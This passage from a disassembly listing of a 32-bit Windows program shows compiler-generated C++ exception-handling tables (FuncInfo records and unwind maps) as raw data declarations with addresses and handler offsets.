dword_43EC58 dd 19930520h, 1, 43EC78h, 5 dup(0) dd 0FFFFFFFFh, 4385F0h, 2 dup(0)
dword_43EC88 dd 19930520h, 1, 43ECA8h, 5 dup(0) dd 0FFFFFFFFh, 438610h, 2 dup(0)
dword_43ECB8 dd 19930520h, 2, 43ECD8h, 5 dup(0) dd 0FFFFFFFFh, 438630h, 0
dd offset loc_438638
align 10h
dword_43ECF0 dd 19930520h, 56h, 43ED10h, 5 dup(0) dd 0FFFFFFFFh, 438650h, 0
dd offset loc_43865B
dd 1, 438666h, 2, 438671h, 3, 43867Ch, 4, 438687h, 5, 438692h
dd 6, 43869Dh, 7, 4386A8h, 8, 4386B3h, 9, 4386BBh, 0Ah
dd 4386C3h, 0Bh, 4386CEh, 0Ch, 4386D6h, 0Dh, 4386DEh, 0Eh
dd 4386E9h, 0Fh, 4386F4h, 10h, 4386FFh, 11h, 43870Ah, 12h
dd 438715h, 13h, 438720h, 14h, 43872Bh, 15h, 438736h, 16h
dd 438741h, 17h, 43874Ch, 18h, 438757h, 19h, 438762h, 1Ah
dd 43876Dh, 1Bh, 438778h, 1Ch, 438783h, 1Dh, 43878Eh, 1Eh
dd 438799h, 1Eh, 4387A4h, 1Eh, 4387AFh, 1Eh, 4387BAh, 1Eh
dd 4387C5h, 1Eh, 4387D0h, 1Eh, 4387DBh, 1Eh, 4387E6h, 1Eh
dd 4387F1h, 27h, 4387FCh, 1Eh, 4387FCh, 1Eh, 438807h, 2Ah
dd 438812h, 1Eh, 438812h, 1Eh, 43881Dh, 2Dh, 438828h, 1Eh
dd 438828h, 1Eh, 438833h, 30h, 43883Eh, 1Eh, 43883Eh, 1Eh
dd 438849h, 33h, 438854h, 1Eh, 438854h, 1Eh, 43885Fh, 36h
dd 43886Ah, 1Eh, 43886Ah, 1Eh, 438875h, 39h, 438880h, 1Eh
dd 438880h, 1Eh, 43888Bh, 3Ch, 438896h, 1Eh, 438896h, 1Eh
dd 4388A1h, 3Fh, 4388ACh, 1Eh, 4388ACh, 1Eh, 4388B7h, 42h
dd 4388C2h, 1Eh, 4388C2h, 1Eh, 4388CDh, 45h, 4388D8h, 1Eh
dd 4388D8h, 1Eh, 4388E3h, 48h, 4388EEh, 1Eh, 4388EEh, 1Eh
dd 4388F9h, 4Bh, 438904h, 1Eh, 438904h, 1Eh, 43890Fh, 4Eh
dd 43891Ah, 1Eh, 43891Ah, 1Eh, 438925h, 51h, 438930h, 52h
dd 43893Bh, 53h, 438946h, 54h, 438951h, 13h dup(0)
dd offset off_4438B0
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 436800h, 2 dup(0)
dd offset off_4438D0
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 436C2Ah, 2 dup(0)
dd offset off_4438F8
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 436C30h, 0
dword_43F068 dd 3, 43F048h, 43F028h, 43F008h, 2 dup(0)dword_43F080 dd 0 ; ___:0040A997o
dd offset dword_436BD4+62h
dd 0
dd offset dword_43F068
dd 2 dup(0)
dword_43F098 dd 19930520h, 1, 43F0B8h, 5 dup(0) dd 0FFFFFFFFh, 438A30h, 2 dup(0)
dword_43F0C8 dd 19930520h, 1, 43F0E8h, 5 dup(0) dd 0FFFFFFFFh, 438A50h, 2 dup(0)
dword_43F0F8 dd 19930520h, 3, 43F118h, 5 dup(0) dd 0FFFFFFFFh, 438A70h, 0
dd offset loc_438A87
dd 1, 438A8Fh, 2 dup(0)
dword_43F138 dd 19930520h, 1, 43F158h, 5 dup(0) dd 0FFFFFFFFh, 438AB0h, 2 dup(0)
dword_43F168 dd 19930520h, 2, 43F188h, 1, 43F198h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 43F1B0h, 4 dup(0)
dd offset sub_40AE52
dd 2 dup(0)
dword_43F1C8 dd 19930520h, 2, 43F1E8h, 1, 43F1F8h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 43F210h, 4 dup(0)
dd offset sub_40AFD1
dd 2 dup(0)
dword_43F228 dd 19930520h, 4, 43F248h, 5 dup(0) dd 0FFFFFFFFh, 438AF0h, 0
dd offset loc_438AFB
dd 1, 438B06h, 2, 438B11h, 2 dup(0)
dword_43F270 dd 19930520h, 4, 43F290h, 5 dup(0) dd 0FFFFFFFFh, 438B40h, 0
dd offset loc_438B4B
dd 1, 438B56h, 2, 438B61h, 2 dup(0)
dword_43F2B8 dd 19930520h, 3, 43F2D8h, 5 dup(0) dd 0FFFFFFFFh, 438B90h, 0FFFFFFFFh, 438B98h, 0FFFFFFFFh
dd 438BA0h, 2 dup(0)
dword_43F2F8 dd 19930520h, 3, 43F318h, 5 dup(0) dd 0FFFFFFFFh, 438BC0h, 0
dd offset loc_438BC8
dd 1, 438BD0h, 2 dup(0)
dword_43F338 dd 19930520h, 1, 43F358h, 5 dup(0) dd 0FFFFFFFFh, 438BF0h, 2 dup(0)
dword_43F368 dd 19930520h, 4, 43F388h, 5 dup(0) dd 0FFFFFFFFh, 438C10h, 0FFFFFFFFh, 438C18h, 0FFFFFFFFh
dd 438C20h, 2, 438C28h, 2 dup(0)
dword_43F3B0 dd 19930520h, 1, 43F3D0h, 5 dup(0) dd 0FFFFFFFFh, 438C50h, 2 dup(0)
dword_43F3E0 dd 19930520h, 4, 43F400h, 5 dup(0) dd 0FFFFFFFFh, 438C70h, 0
dd offset loc_438C7B
dd 0
dd offset loc_438C86
dd 2, 438C91h, 2 dup(0)
dword_43F428 dd 19930520h, 1, 43F448h, 5 dup(0) dd 0FFFFFFFFh, 438CC0h, 2 dup(0)
dword_43F458 dd 19930520h, 5, 43F478h, 5 dup(0) dd 0FFFFFFFFh, 438CE0h, 0
dd offset loc_438CEB
dd 0
dd offset loc_438CF6
dd 0
dd offset loc_438D01
dd 0
dd offset loc_438D0C
dd 2 dup(0)
dword_43F4A8 dd 19930520h, 2, 43F4C8h, 5 dup(0) dd 0FFFFFFFFh, 438D40h, 0
dd offset loc_438D4B
align 10h
dword_43F4E0 dd 19930520h, 2, 43F500h, 5 dup(0) dd 0FFFFFFFFh, 438D70h, 0
dd offset loc_438D7B
dd 2 dup(0)
dword_43F518 dd 19930520h, 4, 43F538h, 5 dup(0) dd 0FFFFFFFFh, 438DA0h, 0FFFFFFFFh, 438DA8h, 0FFFFFFFFh
dd 438DB0h, 0FFFFFFFFh, 438DB8h, 2 dup(0)
dword_43F560 dd 19930520h, 8, 43F580h, 5 dup(0) dd 0FFFFFFFFh, 438DE0h, 0
dd offset loc_438DEB
dd 1, 438DF6h, 1, 438E01h, 1, 438E0Ch, 1, 438E17h, 1, 438E22h
dd 1, 438E2Dh, 4 dup(0)
dword_43F5D0 dd 19930520h, 0Dh, 43F5F0h, 5 dup(0) dd 0FFFFFFFFh, 438E60h, 0FFFFFFFFh, 438E6Bh, 1, 438E76h
dd 2, 438E81h, 3, 438E8Ch, 4, 438E97h, 5, 438EA2h, 6, 438EADh
dd 7, 438EB8h, 8, 438EC3h, 9, 438ECEh, 0Ah, 438ED9h, 0Bh
dd 438EE4h, 4 dup(0)
dword_43F668 dd 19930520h, 6, 43F688h, 5 dup(0) dd 0FFFFFFFFh, 438F20h, 0
dd offset loc_438F28
dd 1, 438F30h, 2, 438F38h, 2, 438F40h, 2, 438F48h, 2 dup(0)
dword_43F6C0 dd 19930520h, 6, 43F6E0h, 5 dup(0) dd 0FFFFFFFFh, 438F70h, 0
dd offset loc_438F78
dd 1, 438F80h, 2, 438F88h, 2, 438F90h, 2, 438F98h, 2 dup(0)
dword_43F718 dd 19930520h, 3, 43F738h, 5 dup(0) dd 0FFFFFFFFh, 438FC0h, 0
dd offset loc_438FC8
dd 1, 438FD0h, 2 dup(0)
dword_43F758 dd 19930520h, 1, 43F778h, 5 dup(0) dd 0FFFFFFFFh, 438FF0h, 2 dup(0)
dword_43F788 dd 19930520h, 7, 43F7A8h, 5 dup(0) dd 0FFFFFFFFh, 439010h, 0
dd offset loc_439018
dd 0FFFFFFFFh, 439020h, 0FFFFFFFFh, 439028h, 3, 439030h
dd 4, 439038h, 0FFFFFFFFh, 439040h, 2 dup(0)
dword_43F7E8 dd 19930520h, 24h, 43F808h, 5 dup(0) dd 0FFFFFFFFh, 439070h, 0
dd offset loc_439078
dd 1, 439083h, 2, 43908Eh, 3, 439099h, 4, 4390A7h, 5, 4390B5h
dd 6, 4390C3h, 7, 4390D1h, 8, 4390DFh, 9, 4390EDh, 0Ah
dd 4390FBh, 0Bh, 439109h, 0Ch, 439117h, 0Dh, 439125h, 0Eh
dd 439133h, 0Fh, 439141h, 10h, 43914Fh, 11h, 43915Dh, 11h
dd 439165h, 11h, 43916Dh, 11h, 439175h, 11h, 43917Dh, 11h
dd 439185h, 11h, 43918Dh, 11h, 439195h, 11h, 43919Dh, 11h
dd 4391A5h, 11h, 4391ADh, 11h, 4391B5h, 11h, 4391BDh, 11h
dd 4391C5h, 11h, 4391CDh, 11h, 4391D5h, 11h, 4391DDh, 11h
dd 4391E5h, 8 dup(0)
dword_43F948 dd 19930520h, 11h, 43F968h, 5 dup(0) dd 0FFFFFFFFh, 439260h, 0
dd offset loc_439268
dd 1, 439273h, 2, 43927Eh, 3, 439289h, 4, 439297h, 5, 4392A5h
dd 6, 4392B3h, 7, 4392C1h, 8, 4392CFh, 9, 4392DDh, 0Ah
dd 4392EBh, 0Bh, 4392F9h, 0Ch, 439307h, 0Dh, 439315h, 0Eh
dd 439323h, 0Fh, 439331h, 4 dup(0)
dword_43FA00 dd 19930520h, 38h, 43FA20h, 5 dup(0) dd 0FFFFFFFFh, 439390h, 0
dd offset loc_43939B
dd 1, 4393A6h, 0
dd offset loc_4393B1
dd 0
dd offset loc_4393BC
dd 0
dd offset loc_4393C7
dd 0
dd offset loc_4393D2
dd 0
dd offset loc_4393DD
dd 0
dd offset loc_4393E8
dd 0
dd offset loc_4393F3
dd 9, 4393FEh, 0
dd offset loc_439409
dd 0
dd offset loc_439414
dd 0
dd offset loc_43941F
dd 0
dd offset loc_43942A
dd 0Eh, 439435h, 0Eh, 439443h, 0Eh, 439451h, 0Eh, 43945Ch
dd 0Eh, 43946Ah, 0Eh, 439478h, 0Eh, 439483h, 0Eh, 43948Eh
dd 0
dd offset loc_439499
dd 0
dd offset loc_4394A4
dd 0
dd offset loc_4394B2
dd 0
; ---------------------------------------------------------------------------
rcl byte ptr [ebx+eax*2+1A00h], 0
retf
; ---------------------------------------------------------------------------
db 94h, 43h, 0
dd 1Bh, 4394D6h, 0
dd offset loc_4394E1
dd 1Dh, 4394ECh, 0
dd offset loc_4394F7
dd 1Fh, 439502h, 0
dd offset loc_43950D
dd 0
dd offset loc_439518
dd 0
dd offset loc_439523
dd 0
dd offset loc_43952E
dd 0
dd offset loc_439539
dd 25h, 439544h, 26h, 43954Fh, 0
dd offset loc_43954F
dd 28h, 439544h, 0
dd offset loc_43955A
dd 0
dd offset loc_439565
dd 2Bh, 439570h, 2Ch, 43957Bh, 0
dd offset loc_43957B
dd 2Eh, 439570h, 2Eh, 439586h, 0
dd offset loc_439591
dd 31h, 43959Ch, 0
dd offset loc_4395A7
dd 0
dd offset loc_4395B2
dd 34h, 4395BDh, 35h, 4395C8h, 34h, 4395C8h, 0Ch dup(0)
dword_43FC10 dd 19930520h, 1, 43FC30h, 5 dup(0) dd 0FFFFFFFFh, 439670h, 2 dup(0)
dword_43FC40 dd 19930520h, 1, 43FC60h, 5 dup(0) dd 0FFFFFFFFh, 439690h, 2 dup(0)
dword_43FC70 dd 19930520h, 6, 43FC90h, 5 dup(0) dd 0FFFFFFFFh, 4396B0h, 0
dd offset loc_4396B8
dd 1, 4396C3h, 2, 4396CEh, 3, 4396D9h, 4, 4396E4h, 2 dup(0)
dword_43FCC8 dd 19930520h, 6, 43FCE8h, 5 dup(0) dd 0FFFFFFFFh, 439710h, 0
dd offset loc_439718
dd 1, 439723h, 2, 43972Eh, 3, 439739h, 4, 439744h, 2 dup(0)
dword_43FD20 dd 19930520h, 0Ah, 43FD40h, 5 dup(0) dd 0FFFFFFFFh, 439770h, 0FFFFFFFFh, 439778h, 0FFFFFFFFh
dd 439780h, 0FFFFFFFFh, 439788h, 0FFFFFFFFh, 439790h, 0FFFFFFFFh
dd 439798h, 0FFFFFFFFh, 4397A0h, 0FFFFFFFFh, 4397A8h, 0FFFFFFFFh
dd 4397B0h, 0FFFFFFFFh, 4397B8h, 4 dup(0)
dword_43FDA0 dd 19930520h, 0Eh, 43FDC0h, 5 dup(0) dd 0FFFFFFFFh, 4397E0h, 0
dd offset loc_4397E8
dd 0FFFFFFFFh, 4397F3h, 0FFFFFFFFh, 4397FBh, 0FFFFFFFFh
dd 439803h, 0FFFFFFFFh, 43980Bh, 5, 439816h, 0FFFFFFFFh
dd 43981Eh, 0FFFFFFFFh, 439826h, 0FFFFFFFFh, 43982Eh, 9
dd 439839h, 0FFFFFFFFh, 439841h, 0Bh, 439849h, 0Ch, 439851h
dd 4 dup(0)
dword_43FE40 dd 19930520h, 2, 43FE60h, 5 dup(0) dd 0FFFFFFFFh, 439898h, 0
dd offset loc_439890
dd 2 dup(0)
dword_43FE78 dd 19930520h, 2, 43FE98h, 5 dup(0) dd 0FFFFFFFFh, 4398D0h, 0
dd offset loc_4398D8
align 10h
dword_43FEB0 dd 19930520h, 1, 43FED0h, 5 dup(0) dd 0FFFFFFFFh, 4398F0h, 2 dup(0)
dword_43FEE0 dd 19930520h, 7, 43FF00h, 5 dup(0) dd 0FFFFFFFFh, 439910h, 0
dd offset loc_439918
dd 1, 439923h, 2, 43992Eh, 2, 439936h, 4, 43993Eh, 5, 439946h
dd 2 dup(0)
dword_43FF40 dd 19930520h, 4, 43FF60h, 5 dup(0) dd 0FFFFFFFFh, 439970h, 0
dd offset loc_43997B
dd 1, 439986h, 2, 439991h, 2 dup(0)
dword_43FF88 dd 19930520h, 4, 43FFA8h, 5 dup(0) dd 0FFFFFFFFh, 4399C0h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 99h, 43h, 0
dd 1, 4399D6h, 2, 4399E1h, 2 dup(0)
dword_43FFD0 dd 19930520h, 2, 43FFF0h, 5 dup(0) dd 0FFFFFFFFh, 439A10h, 0FFFFFFFFh, 439A18h, 2 dup(0)
dword_440008 dd 19930520h, 1, 440028h, 5 dup(0) dd 0FFFFFFFFh, 439A30h, 2 dup(0)
dword_440038 dd 19930520h, 1, 440058h, 5 dup(0) dd 0FFFFFFFFh, 439A50h, 2 dup(0)
dword_440068 dd 19930520h, 2, 440088h, 5 dup(0) dd 0FFFFFFFFh, 439A70h, 0
dd offset loc_439A78
align 10h
dword_4400A0 dd 19930520h, 3, 4400C0h, 5 dup(0) dd 0FFFFFFFFh, 439A90h, 0
dd offset loc_439A98
dd 1, 439AA3h, 2 dup(0)
dword_4400E0 dd 19930520h, 3, 440100h, 5 dup(0) dd 0FFFFFFFFh, 439AD0h, 0
dd offset loc_439AD8
dd 1, 439AE0h, 2 dup(0)
dword_440120 dd 19930520h, 1, 440140h, 5 dup(0) dd 0FFFFFFFFh, 439B00h, 2 dup(0)
dword_440150 dd 19930520h, 4, 440170h, 5 dup(0) dd 0FFFFFFFFh, 439B20h, 0
dd offset loc_439B28
dd 0
dd offset loc_439B30
dd 0
dd offset loc_439B3B
dd 2 dup(0)
dword_440198 dd 19930520h, 6, 4401B8h, 5 dup(0) dd 0FFFFFFFFh, 439B60h, 0
dd offset loc_439B68
dd 1, 439B70h, 2, 439B78h, 3, 439B80h, 4, 439B88h, 2 dup(0)
dword_4401F0 dd 19930520h, 3, 440210h, 5 dup(0) dd 0FFFFFFFFh, 439BB0h, 0
dd offset loc_439BBB
dd 1, 439BC6h, 2 dup(0)
dword_440230 dd 19930520h, 4, 440250h, 5 dup(0) dd 0FFFFFFFFh, 439BF0h, 0
dd offset loc_439BF8
dd 1, 439C00h, 2, 439C08h, 2 dup(0)
dword_440278 dd 19930520h, 5, 440298h, 5 dup(0) dd 0FFFFFFFFh, 439C30h, 0
dd offset loc_439C38
dd 1, 439C40h, 2, 439C48h, 3, 439C50h, 2 dup(0)
dword_4402C8 dd 19930520h, 4, 4402E8h, 5 dup(0) dd 0FFFFFFFFh, 439C80h, 0
dd offset loc_439C88
dd 1, 439C93h, 2, 439C9Eh, 2 dup(0)
dword_440310 dd 19930520h, 3, 440330h, 5 dup(0) dd 0FFFFFFFFh, 439CC0h, 0
dd offset loc_439CC8
dd 1, 439CD0h, 2 dup(0)
dword_440350 dd 19930520h, 1, 440370h, 5 dup(0) dd 0FFFFFFFFh, 439CF0h, 2 dup(0)
dword_440380 dd 19930520h, 2, 4403A0h, 5 dup(0) dd 0FFFFFFFFh, 439D10h, 0
dd offset loc_439D18
dd 2 dup(0)
dword_4403B8 dd 19930520h, 2, 4403D8h, 5 dup(0) dd 0FFFFFFFFh, 439D30h, 0
dd offset loc_439D38
align 10h
dword_4403F0 dd 19930520h, 3, 440410h, 5 dup(0) dd 0FFFFFFFFh, 439D50h, 0
dd offset loc_439D5B
dd 1, 439D66h, 2 dup(0)
dword_440430 dd 19930520h, 1, 440450h, 5 dup(0) dd 0FFFFFFFFh, 439D90h, 2 dup(0)
dword_440460 dd 19930520h, 1, 440480h, 5 dup(0) dd 0FFFFFFFFh, 439DB0h, 2 dup(0)
dword_440490 dd 19930520h, 4, 4404B0h, 5 dup(0) dd 0FFFFFFFFh, 439DD0h, 0
dd offset loc_439DD8
dd 1, 439DE3h, 2, 439DEEh, 2 dup(0)
dword_4404D8 dd 19930520h, 7, 4404F8h, 5 dup(0) dd 0FFFFFFFFh, 439E10h, 0FFFFFFFFh, 439E18h, 0FFFFFFFFh
dd 439E20h, 2, 439E28h, 3, 439E30h, 4, 439E38h, 0FFFFFFFFh
dd 439E40h, 2 dup(0)
dword_440538 dd 19930520h, 1Bh, 440558h, 5 dup(0) dd 0FFFFFFFFh, 439E70h, 0
dd offset loc_439E78
dd 1, 439E83h, 2, 439E91h, 3, 439E9Fh, 4, 439EADh, 5, 439EBBh
dd 6, 439EC9h, 7, 439ED7h, 8, 439EE5h, 9, 439EF3h, 0Ah
dd 439F01h, 0Bh, 439F0Fh, 0Ch, 439F1Dh, 0Dh, 439F2Bh, 0Eh
dd 439F39h, 0Fh, 439F47h, 10h, 439F55h, 11h, 439F63h, 12h
dd 439F71h, 13h, 439F7Fh, 14h, 439F8Dh, 15h, 439F9Bh, 16h
dd 439FA9h, 17h, 439FB7h, 18h, 439FC5h, 19h, 439FD3h, 6 dup(0)
dword_440648 dd 19930520h, 1Bh, 440668h, 5 dup(0) dd 0FFFFFFFFh, 43A050h, 0
dd offset loc_43A058
dd 1, 43A063h, 2, 43A071h, 3, 43A07Fh, 4, 43A08Dh, 5, 43A09Bh
dd 6, 43A0A9h, 7, 43A0B7h, 8, 43A0C5h, 9, 43A0D3h, 0Ah
dd 43A0E1h, 0Bh, 43A0EFh, 0Ch, 43A0FDh, 0Dh, 43A10Bh, 0Eh
dd 43A119h, 0Fh, 43A127h, 10h, 43A135h, 11h, 43A143h, 12h
dd 43A151h, 13h, 43A15Fh, 14h, 43A16Dh, 15h, 43A17Bh, 16h
dd 43A189h, 17h, 43A197h, 18h, 43A1A5h, 19h, 43A1B3h, 6 dup(0)
dword_440758 dd 19930520h, 1, 440778h, 5 dup(0) dd 0FFFFFFFFh, 43A230h, 2 dup(0)
dword_440788 dd 19930520h, 3Dh, 4407A8h, 5 dup(0) dd 0FFFFFFFFh, 43A250h, 0
dd offset loc_43A25B
dd 1, 43A266h, 2, 43A274h, 3, 43A282h, 4, 43A290h, 5, 43A29Eh
dd 6, 43A2ACh, 7, 43A2BAh, 8, 43A2C8h, 9, 43A2D6h, 0Ah
dd 43A2E4h, 0Bh, 43A2F2h, 0Ch, 43A300h, 0Dh, 43A30Eh, 0Eh
dd 43A31Ch, 0Fh, 43A32Ah, 10h, 43A338h, 11h, 43A346h, 12h
dd 43A354h, 13h, 43A362h, 14h, 43A370h, 15h, 43A37Eh, 16h
dd 43A38Ch, 17h, 43A39Ah, 18h, 43A3A8h, 19h, 43A3B6h, 1Ah
dd 43A3C4h, 1Bh, 43A3D2h, 1Ch, 43A3E0h, 1Dh, 43A3EEh, 1Eh
dd 43A3FCh, 1Fh, 43A40Ah, 20h, 43A418h, 21h, 43A426h, 22h
dd 43A434h, 23h, 43A442h, 24h, 43A450h, 25h, 43A45Eh, 26h
dd 43A46Ch, 27h, 43A47Ah, 28h, 43A488h, 29h, 43A496h, 2Ah
dd 43A4A4h, 2Bh, 43A4B2h, 2Ch, 43A4C0h, 2Dh, 43A4CEh, 2Eh
dd 43A4DCh, 2Fh, 43A4EAh, 30h, 43A4F8h, 31h, 43A506h, 32h
dd 43A514h, 33h, 43A522h, 34h, 43A530h, 35h, 43A53Eh, 36h
dd 43A54Ch, 37h, 43A55Ah, 38h, 43A568h, 39h, 43A576h, 3Ah
dd 43A584h, 3Bh, 43A592h, 0Eh dup(0)
dword_4409C8 dd 19930520h, 4, 4409E8h, 5 dup(0) dd 0FFFFFFFFh, 43A680h, 0
dd offset loc_43A68B
dd 1, 43A696h, 2, 43A6A1h, 2 dup(0)
dword_440A10 dd 19930520h, 6, 440A30h, 5 dup(0) dd 0FFFFFFFFh, 43A6D0h, 0
dd offset loc_43A6DB
dd 1, 43A6E6h, 2, 43A6F1h, 3, 43A6FFh, 4, 43A70Dh, 2 dup(0)
dword_440A68 dd 19930520h, 4, 440A88h, 5 dup(0) dd 0FFFFFFFFh, 43A740h, 0
dd offset loc_43A74E
dd 1, 43A75Ch, 2, 43A76Ah, 2 dup(0)
dword_440AB0 dd 19930520h, 5, 440AD0h, 5 dup(0) dd 0FFFFFFFFh, 43A7A0h, 0
dd offset loc_43A7AB
dd 1, 43A7B6h, 2, 43A7C1h, 3, 43A7CFh, 2 dup(0)
dword_440B00 dd 19930520h, 5, 440B20h, 5 dup(0) dd 0FFFFFFFFh, 43A800h, 0
dd offset loc_43A80B
dd 1, 43A816h, 2, 43A821h, 3, 43A82Fh, 2 dup(0)
dword_440B50 dd 19930520h, 1, 440B70h, 5 dup(0) dd 0FFFFFFFFh, 43A860h, 2 dup(0)
dword_440B80 dd 19930520h, 1, 440BA0h, 5 dup(0) dd 0FFFFFFFFh, 43A880h, 2 dup(0)
dword_440BB0 dd 19930520h, 1, 440BD0h, 5 dup(0) dd 0FFFFFFFFh, 43A8A0h, 2 dup(0)
dword_440BE0 dd 19930520h, 2, 440C00h, 5 dup(0) dd 0FFFFFFFFh, 43A8C0h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0A8h, 43h, 0
dd 2 dup(0)
dword_440C18 dd 19930520h, 4, 440C38h, 5 dup(0) dd 0FFFFFFFFh, 43A8F0h, 0
dd offset loc_43A8FB
dd 1, 43A906h, 2, 43A911h, 2 dup(0)
dword_440C60 dd 19930520h, 4, 440C80h, 5 dup(0) dd 0FFFFFFFFh, 43A940h, 0
dd offset loc_43A94B
dd 1, 43A956h, 2, 43A961h, 2 dup(0)
dword_440CA8 dd 19930520h, 6, 440CC8h, 5 dup(0) dd 0FFFFFFFFh, 43A990h, 0
dd offset loc_43A99B
dd 1, 43A9A6h, 2, 43A9B1h, 3, 43A9BFh, 4, 43A9CDh, 2 dup(0)
dword_440D00 dd 19930520h, 4, 440D20h, 5 dup(0) dd 0FFFFFFFFh, 43AA00h, 0
dd offset loc_43AA0E
dd 1, 43AA1Ch, 2, 43AA2Ah, 2 dup(0)
dword_440D48 dd 19930520h, 5, 440D68h, 5 dup(0) dd 0FFFFFFFFh, 43AA60h, 0
dd offset loc_43AA6B
dd 1, 43AA76h, 2, 43AA81h, 3, 43AA8Fh, 2 dup(0)
dword_440D98 dd 19930520h, 5, 440DB8h, 5 dup(0) dd 0FFFFFFFFh, 43AAC0h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0AAh, 43h, 0
dd 1, 43AAD6h, 2, 43AAE1h, 3, 43AAEFh, 2 dup(0)
dword_440DE8 dd 19930520h, 1, 440E08h, 5 dup(0) dd 0FFFFFFFFh, 43AB20h, 2 dup(0)
dword_440E18 dd 19930520h, 1, 440E38h, 5 dup(0) dd 0FFFFFFFFh, 43AB40h, 2 dup(0)
dword_440E48 dd 19930520h, 1, 440E68h, 5 dup(0) dd 0FFFFFFFFh, 43AB60h, 2 dup(0)
dword_440E78 dd 19930520h, 2, 440E98h, 5 dup(0) dd 0FFFFFFFFh, 43AB80h, 0
dd offset loc_43AB8B
align 10h
dword_440EB0 dd 19930520h, 4, 440ED0h, 5 dup(0) dd 0FFFFFFFFh, 43ABB0h, 0
dd offset loc_43ABBB
dd 1, 43ABC6h, 2, 43ABD1h, 2 dup(0)
dword_440EF8 dd 19930520h, 1, 440F18h, 5 dup(0) dd 0FFFFFFFFh, 43AC00h, 2 dup(0)
dword_440F28 dd 19930520h, 2, 440F48h, 5 dup(0) dd 0FFFFFFFFh, 43AC20h, 0
dd offset loc_43AC2B
align 10h
dword_440F60 dd 19930520h, 1, 440F80h, 5 dup(0) dd 0FFFFFFFFh, 43AC50h, 2 dup(0)
dword_440F90 dd 19930520h, 1, 440FB0h, 5 dup(0) dd 0FFFFFFFFh, 43AC70h, 2 dup(0)
dword_440FC0 dd 19930520h, 2, 440FE0h, 5 dup(0) dd 0FFFFFFFFh, 43AC90h, 0
dd offset loc_43AC9B
dd 2 dup(0)
dword_440FF8 dd 19930520h, 1, 441018h, 5 dup(0) dd 0FFFFFFFFh, 43ACC0h, 2 dup(0)
dword_441028 dd 19930520h, 3, 441048h, 5 dup(0) dd 0FFFFFFFFh, 43ACE0h, 0
dd offset loc_43ACF7
dd 1, 43ACFFh, 2 dup(0)
dword_441068 dd 19930520h, 1, 441088h, 5 dup(0) dd 0FFFFFFFFh, 43AD20h, 2 dup(0)
dword_441098 dd 19930520h, 4, 4410B8h, 5 dup(0) dd 0FFFFFFFFh, 43AD48h, 0
dd offset sub_43AD40
dd 0
dd offset loc_43AD5F
dd 2, 43AD67h, 2 dup(0)
dword_4410E0 dd 19930520h, 6, 441100h, 5 dup(0) dd 0FFFFFFFFh, 43AD90h, 0FFFFFFFFh, 43AD98h, 0FFFFFFFFh
dd 43ADA0h, 0FFFFFFFFh, 43ADA8h, 0FFFFFFFFh, 43ADB0h, 0FFFFFFFFh
dd 43ADB8h, 2 dup(0)
dword_441138 dd 19930520h, 1Ah, 441158h, 5 dup(0) dd 0FFFFFFFFh, 43ADE0h, 0
dd offset loc_43ADEB
dd 1, 43ADF6h, 2, 43AE01h, 3, 43AE0Ch, 4, 43AE17h, 5, 43AE1Fh
dd 5, 43AE2Ah, 5, 43AE35h, 5, 43AE43h, 5, 43AE4Eh, 5, 43AE59h
dd 5, 43AE67h, 5, 43AE72h, 5, 43AE7Dh, 5, 43AE88h, 5, 43AE96h
dd 5, 43AEA1h, 5, 43AEACh, 5, 43AEBAh, 5, 43AEC5h, 5, 43AED0h
dd 5, 43AEDEh, 5, 43AEE9h, 5, 43AEF4h, 5, 43AEFFh, 6 dup(0)
dword_441240 dd 19930520h, 4, 441260h, 5 dup(0) dd 0FFFFFFFFh, 43AF70h, 0
dd offset loc_43AF78
dd 1, 43AF83h, 2, 43AF8Eh, 2 dup(0)
dword_441288 dd 19930520h, 4, 4412A8h, 5 dup(0) dd 0FFFFFFFFh, 43AFB0h, 0
dd offset loc_43AFB8
dd 1, 43AFC3h, 2, 43AFCEh, 2 dup(0)
dword_4412D0 dd 19930520h, 6, 4412F0h, 5 dup(0) dd 0FFFFFFFFh, 43AFF0h, 0
dd offset loc_43AFF8
dd 1, 43B003h, 2, 43B00Eh, 3, 43B019h, 4, 43B024h, 2 dup(0)
dword_441328 dd 19930520h, 6, 441348h, 5 dup(0) dd 0FFFFFFFFh, 43B050h, 0
dd offset loc_43B058
dd 1, 43B063h, 2, 43B06Eh, 3, 43B079h, 4, 43B084h, 2 dup(0)
dword_441380 dd 19930520h, 6, 4413A0h, 5 dup(0) dd 0FFFFFFFFh, 43B0B0h, 0FFFFFFFFh, 43B0BBh, 0FFFFFFFFh
dd 43B0C6h, 2, 43B0D1h, 3, 43B0DCh, 2, 43B0E7h, 2 dup(0)
dword_4413D8 dd 19930520h, 3, 4413F8h, 5 dup(0) dd 0FFFFFFFFh, 43B110h, 0FFFFFFFFh, 43B118h, 0FFFFFFFFh
dd 43B120h, 2 dup(0)
dword_441418 dd 19930520h, 5, 441438h, 5 dup(0) dd 0FFFFFFFFh, 43B140h, 0FFFFFFFFh, 43B148h, 0FFFFFFFFh
dd 43B150h, 0FFFFFFFFh, 43B158h, 0FFFFFFFFh, 43B160h, 2 dup(0)
dword_441468 dd 19930520h, 0Ch, 441488h, 5 dup(0) dd 0FFFFFFFFh, 43B180h, 0
dd offset loc_43B188
dd 0FFFFFFFFh, 43B190h, 0FFFFFFFFh, 43B198h, 0FFFFFFFFh
dd 43B1A0h, 0FFFFFFFFh, 43B1A8h, 5, 43B1B0h, 0FFFFFFFFh
dd 43B1B8h, 0FFFFFFFFh, 43B1C0h, 0FFFFFFFFh, 43B1C8h, 0FFFFFFFFh
dd 43B1D0h, 0FFFFFFFFh, 43B1D8h, 4 dup(0)
dword_4414F8 dd 19930520h, 2, 441518h, 1, 441528h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 441540h, 4 dup(0)
dd offset loc_41EE2C
dd 2 dup(0)
dword_441558 dd 19930520h, 0Ah, 441578h, 5 dup(0) dd 0FFFFFFFFh, 43B220h, 0
dd offset loc_43B22B
